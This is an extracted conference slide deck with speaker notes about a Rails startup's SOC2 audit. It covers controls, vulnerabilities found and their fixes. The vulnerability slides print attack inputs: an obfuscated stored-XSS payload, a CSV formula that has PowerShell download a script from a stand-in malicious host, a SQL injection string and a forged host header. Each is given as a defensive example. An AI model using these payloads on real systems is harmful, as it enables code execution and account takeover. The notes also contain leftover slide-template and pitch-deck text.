Going through the SOC2 audit preparation and audit process at Lexop taught us quite a few interesting lessons as far as security, infrastructure and processes are concerned ... and we'd like to share some of these with you. This presentation will not only be focused on coding but also on what we went through on our way to becoming a SOC2 compliant ruby shop.
Bio
Michel Jamati, CTO and co-founder at Lexop, has accompanied the startup through 2 accelerator programs, 8.1M$ in financing, and many a sleepless night. He received a Bachelors in Computer Engineering from McGill, with a minor in Business and a specialty in Artificial Intelligence, before working for a decade in the Aerospace industry where he scoured the globe tinkering with full flight simulators for the World's biggest airlines.
In his free time, he enjoys feeding his newborn son (who's never thanked him for it) and pestering his sister . He's also an avid sports player and sci-fi reader, and has been a Big Brother for the last 5 years to one of the coolest kid out there.
4. ???
SOC 2 defines criteria for managing customer data based
on five “trust service principles”—security, availability,
processing integrity, confidentiality and privacy.
From SOC2 Compliance article
5. Security
Defines data protection. This is where risk-mitigation comes in to safeguard
against breaches, unauthorised access and disclosure.
6. Availability
Defines the measures put in place to deliver performance and uptime to meet
business objectives and service level agreements. This is where monitoring,
backups and disaster recovery solutions are evaluated
7. Processing Integrity
Defines the controls in place to ensure consistency in the data and reliability in the
manner it is processed.
… think unexplained errors, corruption and anomalies.
8. Confidentiality
Defines how information - s.a. personal identifiable data, trade secrets and
anything governed by an NDA - is collected, processed and ultimately disposed of.
How it is shared, who it is shared with and how everything is tracked.
9. Privacy
Closely related to Confidentiality: focuses on PII, how it is collected and managed,
and the consent mechanisms surrounding its collection.
10. How
You get audited
- Processes and policies
- Software pipeline
- Security
- Infrastructure
12. People
Humans are the biggest risk
Track employees across the entire lifecycle
▸ Job posting
▸ Application and review
▸ Hire and contract signature
▸ Background checks
▸ Onboarding and training
▸ Performance evaluations
▸ Off-boarding
13. Assets and Accesses
Managing users and devices
▸ Access grants, modifications and removals
▸ User rights and permissions review
▸ Device management through MDM
▸ Endpoint protection (firewall, anti- malware, OS
hardening …) of all assets
14. Customers
Handling requests and requirements
Track all customer requests from start to finish
▸ Request issuance
▸ Support acknowledgment
▸ Dev ticket creation
▸ PR creation
▸ Merge and deployment
▸ Request status feedback to customer
▸ Request closure
21. Audits
Performing independent tests
▸ 3rd-party
▹ Human-driven
▹ Recurring
▹ GoSecure
▸ Automated
▹ Vulnerability check
▹ Monthly or more often
▹ HaloSecurity
▹ OWASP Zap
22. Vulnerabilities - Stored XSS attacks
Account takeover
Through social engineering a user can be tricked into
uploading a recipient list with malicious JavaScript code.
In order to bypass some restrictions, the team used an esoteric
subset of JavaScript where code is written using only six
characters [, ], (,), !, and +.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]
+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]
+[])[+[]]]+[])[!
+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!
[]+[])[+!+[]]+(!
![]+[])[+ []]])[+ !+ []+[+[]]] +([][[] …
+!+[]]]()[+!+[]+[!+[]+!+[]]])())</script>
When consulting his activity feed, this script will execute in
the session context of the targeted victim changing his
email address.
23. Vulnerabilities - Stored XSS attacks
The fix
Entries entered by users should by systematically validated before processing
and storage. The use of character whitelists via strict regular expression on
entries is the most effective means of mitigation against this type of attack.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
gem 'rails-html-sanitizer'
@full_sanitizer = Rails::Html::FullSanitizer.new
workbook.parse().map do |row|
row.update(row) { |key, value| @full_sanitizer.sanitize(value.to_s) }
end
In addition, it is highly recommended to
systematically encode user or database data
into an inert format for Web browsers
before sending them back to the user.
25. Vulnerabilities - CSV injection
An attacker could execute a formula using "=" at the beginning
of the input, instead of putting a real subject for an activity.
When the victim downloads the CSV file, the formula could be
executed.
OWASP – CSV Injection
CSV Injection, also known as Formula Injection, occurs when
web applications embed user-controlled input inside CSV
files without proper validation.
When a spreadsheet program such as Microsoft Excel is used
to open a CSV file, any cells starting with special characters,
such as '=' or '@,' will be interpreted by the software as a
formula.
=cmd|' /C calc'!'A1'
=cmd|'/c powershell.exe -w hidden $e=(New-Object
System.Net.WebClient).DownloadString("https://malicious.c
om/shell.ps1");
From Bishop Fox
Remote code execution
26. Vulnerabilities - CSV injection
In order to prevent this attack, ensure that user input cannot
start with the following characters.
● Equals to ('=')
● Plus ('+')
● Minus ('-')
● At ('@')
This would prevent the attacker from being able to send
commands that could execute on the victim's machine. One
must also escape special characters in the input to avoid
malicious input from being executed.
OWASP – CSV Injection
The fix
class CsvSafe < CSV
PARANOID_MSG = 'csv injection detected'
def initialize(data, options = {})
options[:converters] = [] if options[:converters].nil?
options[:converters] << lambda(&method(:sanitize_field))
@paranoid = if options.key?(:paranoid)
options = options.dup
options.delete(:paranoid)
else
false
end
super(data, options)
end
def <<(row)
super(sanitize_row(row))
end
end
27. Vulnerabilities - CSV injection
All export calls would be updated to use this sort of approach,
to ensure any malicious statement is caught and handled.
OWASP – CSV Injection
SPECIAL = %w[- = + @].freeze
def starts_with_special_character?(str)
return false if str.blank?
SPECIAL.include?(str[0])
end
def prefix(field)
encoded = field.encode(CSV::ConverterEncoding)
"'#{encoded}"
rescue StandardError
"'#{field}"
end
def prefix_if_necessary(field)
str = field.to_s
if starts_with_special_character?(str)
raise RuntimeError, "#{PARANOID_MSG}, …"
prefix(str)
else
field
end
end
The fix
def self.to_csv
invoices = Invoice.all
header = CsvSafe.generate_line(CSV_HEADERS)
body = all.without_deleted.map do |org|
CsvSafe.generate_line([
org.id,
"""#{org.billing_name}""",
"""#{org.billing_street_address}""",
invoices.find_by(organization_id: org.id).try(:date)
], paranoid: true)
end.map(&:html_safe)
([header] + body).join('')
end
29. Vulnerabilities - Email templates
OWASP – CSV Injection
When it’s possible for users to create messages and message
templates, you want to ensure you control (or at the very least
scrub) what goes out.
Links and javascript
30. Vulnerabilities - Email templates
OWASP – CSV Injection
class ActivityInstructionsScrubber < Rails::Html::PermitScrubber
ACCEPTABLE_ELEMENTS = %w[
strong em b i u p code pre tt samp kbd var sub sup dfn cite big small
address hr br div span h1 h2 h3 h4 …
].freeze
WHITELISTABLE_ELEMENTS = %w[a].freeze
# (i.e. those that do not need a close-tag to be useful)
PERSISTED_EMPTY_ELEMENTS = %w[hr br img].freeze
RESTRICTED_ATTRIBUTES = %w[width href].freeze
WHITELISTABLE_ATTRIBUTES = %w[href class].freeze
# These unallowed elements will be stripped, i.e. subtree will be kept
STRIP_RESTRICTED_ELEMENTS = %w[directive a body].freeze
WHITELISTABLE_RESTRICTED_ELEMENTS = %w[a].freeze
ALLOWED_CSS_PROPERTIES = %w[
text-decoration text-align text-decoration margin …
].freeze
attr_reader :remove_empty_elements, :enable_whitelisting, :css_properties
…
end
The fix
@scrub = ActivityInstructionsScrubber.new(
enable_whitelisting: … )
…
<%=
sanitize_email_text(
text_with_variables(scrubber: @scrub,
@body(locale),
@vars(locale))).html_safe
%>
…
32. Vulnerabilities - MFA
Authentication
Very important topic for SOC2 compliance as weak passwords
and human error is often the easiest way into a seemingly
“secure” system.
Adding a 2nd authentication factor is the simplest safeguard
against this.
● Email (insecure)
● SMS (less insecure … SIM swapping)
● Auth APP (very effective … most convenient)
● Hardware dongle (most effective … least convenient)
NIST - Password guidelines
Buy
Delegate to … Auth0 (ex.)
Build
Manage and maintain
devise-two-factor
two_factor_authentication
33. Vulnerabilities - passwords
Password guidelines (NIST)
● Password length: Minimum length is 8 characters
● Password complexity: recommends password
complexity not be imposed.
● Password “hints”/authentication questions: shouldn’t
be used.
● Check for “known bad” passwords: New and changed
passwords are to be checked against a list of common
or previously compromised passwords (e.g. from
dictionaries, previous breaches, keyboard patterns,
and contextual words [e.g. the user’s username]).
● Throttling: Implement throttling to limit failed
authentication attempts.
● Password expiration: shouldn’t be used
● MFA: SMS shouldn’t be used
NIST - Password guidelines
Requirements
Very auditor-dependant
34. Vulnerabilities - Improper access control
Where access control is not properly applied, tampering the
content of various HTTP requests of diverse application
endpoints can lead to unauthorized actions. This could also
lead to privilege escalation and unauthorized asset access and
modification.
The attacker only needs a browser and, in some cases, a local
proxy to perform such attack.
OWASP – Access Control
The affected application does not properly validate users’
privileges before performing various actions that should
otherwise be impossible or restricted. In some cases, no prior
authentication is necessary to access the application's
functionalities and users’ documents, leaving them
unprotected and exposed on the Internet.
Those vulnerabilities are the consequence of an inadequate
access control enforcement by the application.
In our case, some views required admin privileges but could
still be consulted in read-only mode by lower-privileged user
Privilege escalation
35. Vulnerabilities - Improper access control
This lead to a complete roles and permission revamp in order
to not only address this issue, but also introduce better
permissions management.
This was already on roadmap in order to better serve
enterprise customers.
The communication of this vulnerability accelerated that
development.
OWASP – Access Control
class UserPolicy < ApplicationPolicy
def manage_organization?
role_permission(:manage_…) == :enabled
end
def invite_users?
role_permission(:invite_users) == :enabled
end
def remove_users?
role_permission(:remove_users) == :enabled
end
class Scope < Scope
def resolve
…
end
end
end
The fix
36. Vulnerabilities - SQL injection
SQL injection is a web application vulnerability
that occurs when untrusted data is inserted in a
SQL query without any sanitization or escaping.
CVE-2012-2695
Invicti – SQL injection
SecureFlag - SQL injection
UNSAFE
Model.find_by(...)
SAFE
Model.find(...)
Model.find_by_name(...)
Dynamic Attributes
UNSAFE
Model.where("name = '#{params[:name]}'")
Input -> "') or 1=1--"
SELECT "users".* FROM "users" WHERE (name = '') or 1=1--')
SAFE
Model.where(name: param[:name])
Model.where(["name = ?", "#{params[:name]}"])
Model.where("name = :email", email: param[:name])
Protect against user input
38. Vulnerabilities - Host header injection
The ability to use an authentic application URL,
targeting the correct domain and with a valid
SSL certificate lends credibility to the phishing
attack because many users will not notice
the subsequent redirection to a different
domain.
OWASP – CSV Injection
X-Forwarded-Host: attack.malicious.com
The application appears to trust the user-supplied host header. By
supplying a malicious host header, it is possible to redirect to another site.
One common use-case: generating a poisoned password reset link.
39. Vulnerabilities - Host header injection
If the Host header is required, make sure you
validate it properly.
This should involve checking it against a
whitelist of permitted domains and rejecting or
redirecting any requests for unrecognized hosts.
This should include host: and x-forwarded-host
parameters.
OWASP – CSV Injection
# Hosts white list. All requests from other hosts will reject with 403
YAML.safe_load(Rails.root.join('config', 'hosts.yml').read)[Rails.env].split.each do |host|
config.hosts << host
end
development:
dev.lexop.com
staging:
stg.lexop.com
production:
app.lexop.com
subdomain.domain.com
Application initializer
Configuration file
The fix
41. Vulnerabilities - CSPs
The HTTP Content-Security-Policy response
header allows web site administrators to control
resources the user agent is allowed to load for a
given page.
This helps guard against cross-site scripting
attacks (Cross-site_scripting).
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
"default-src 'self' https://sub.lexop.com ...; "
"frame-src 'self' https://sub.lexop.com ... https://*.sandbox.com;"
"img-src 'self' data: https://sub.lexop.com https://www.google-analytics.com ...; "
"media-src 'none'; "
'form-action https://sub.lexop.com ...; '
"connect-src 'self' https://sub.lexop.com wss://stg.lexop.com ... https://connect.domain.com;"
"object-src 'self' 'sha256-B2yPHKaX…=' https://sub-api.lexop.com ...; "
"font-src 'self' 'nonce-2726c7f26c' https://sub.lexop.com ...; "
"script-src 'self' 'unsafe-inline' 'unsafe-eval' https://sub.lexop.com ... https://cdn.com; "
"style-src 'self' 'unsafe-inline' https://sub.lexop.com ... https://cnd.com; "
'report-uri https://sub.report-uri.com/r/d/csp/enforce; ',
…
}
unsafe-inline
Supports inline scripting … possible to mitigate
using nonces or hashes
unsafe-eval
Some legitimate 3rd-parties still use eval()
script-src 'nonce-2726c7f26c'
…
<script nonce="2726c7f26c">
const inline = 1;
// …
</script>
42. Vulnerabilities - CSPs
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
…
'Referrer-Policy' => 'strict-origin-when-cross-origin',
'Feature-Policy' => "geolocation 'self'; microphone 'self'; camera 'self' ",
'X-Content-Type-Options' => 'nosniff',
'X-Frame-Options' => 'SAMEORIGIN',
}
X-Content-type-Options
nosniff can protect against mime-confusion
attacks where you might upload an “image”
containing executable content leading to an XSS
attack
X-Frame-Options
SAMEORIGIN implies your site cannot be loaded
in a frame anywhere else, to mitigate UI
redressing attacks
Feature-Policy
Restrict browser access to the device resources
s.a. camera and microphone.
47. 47
Clusters and pods
▸ Multiple pods per logical group
▸ Memory allocation and limits
▸ Processing allocation and limits
▸ Liveness probe
▸ Readiness probe
Availability
After the transformation
Kubernetes - Components
48. 48
Kubernetes - Configuring probes
Availability
Liveness probe
The kubelet uses liveness probes to know when to
restart a container.
For example, liveness probes could catch a deadlock,
where an application is running, but unable to make
progress.
Restarting a container in such a state can help to
make the application more available despite bugs.
livenessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: subdomain.domain.com
initialDelaySeconds: 45
periodSeconds: 30
path: /health_check
This HTTP call to an internal resource call will determine if all
services are operational.
initialDelaySeconds: 45
This call will start 45 seconds after the pod is online.
periodSeconds: 30
This call will run every 30 seconds.
49. 49
Availability
Readiness probe
The kubelet uses readiness probes to know when a
container is ready to start accepting traffic.
A Pod is considered ready when all of its containers
are ready. One use of this signal is to control which
Pods are used as backends for Services.
When a Pod is not ready, it is removed from Service
load balancers.
readinessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: domain.subdomain.com
initialDelaySeconds: 25
periodSeconds: 10
successThreshold: 3
failureThreshold: 2
initialDelaySeconds: 25
This call will start 25 seconds after the pod is online.
periodSeconds: 10
This call will run every 10 seconds.
successThreshold: 3
Minimum consecutive times the probes will need to run to be
considered successful after a failure
Kubernetes - Configuring probes
50. DR and Continuity
50
▸ Database as a service
▹ Read-replicated and geo-redundant
▸ Self-healing infrastructure
▹ Less oversight needed
▸ Packaged into images (docker)
▹ Immutable
▹ Ephemeral (security)
▹ Easily re-deployable
51. Monitoring
51
Consider the different services
▸ NewRelic, DataDog, Cloud-native …
▸ Application monitoring
▸ Log aggregation and analysis
▹ Source multiplicity
▸ Infrastructure monitoring
▸ SLIs, SLOs and SLAs
Datadog - Track SLIs and SLOs
52. Why
Because …:
- Often a requirement
- Always an effective sales tool
- In hindsight, a useful thing to go through (go figure)
53. Thank you
Learn more at lexop.com
Lexop helps companies retain
past-due customers by facilitating
payment and empowering them
to self-cure.
It’s quick to implement, easy to use, and scales to
fit your needs.
Editor's Notes
Thank you for being here; I hope you’re all having a good time and that you’ll enjoy this presentation. Andy’s a very hard act to follow so bear with me :)
Today, I’m going to share my story of despair and madness: obtaining a SOC2 Type II certification. There’s always what you understand in hindsight and what you feel in the moment. And in the moment it was definitely not my favorite experience.
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/691
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/1861/files
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/1861/files
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
Remove TWILIO and Sendgrid
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
THANK YOU SLIDE EXAMPLE
As before, try to quantify the quality of your team by showing impressive logos, educational degrees, or years of experience. If there are some particularly awesome accomplishments (e.g. I built out unicorn X’s growth team), call it out. Remove anything else - yes, this means leaving off the headshots for every employee in your 12 person team.
If you’ve been lean (e.g. accomplished everything with only a team of 4) or capital efficient (e.g spent $1m to get to $1.2m ARR), this is a good place to highlight it. You can also optionally add a slide with your advisors (if they’re impressive and especially if your company requires domain expertise) and existing investors. Just beware of signaling risk - if you include a Series A fund on the list of existing investors, you’ll be asked whether or not they’re leading your round. If the answer is yes, then why are you giving the pitch? If the answer is no or that you’re not sure, that could be a negative signal. In general, best to leave those logos off.